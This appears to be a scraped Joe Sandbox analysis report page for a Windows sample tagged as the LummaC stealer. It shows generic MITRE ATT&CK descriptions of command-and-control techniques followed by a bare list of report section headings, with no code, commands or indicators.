Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report GxX48twWHA.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Windows Analysis Report
GxX48twWHA.exe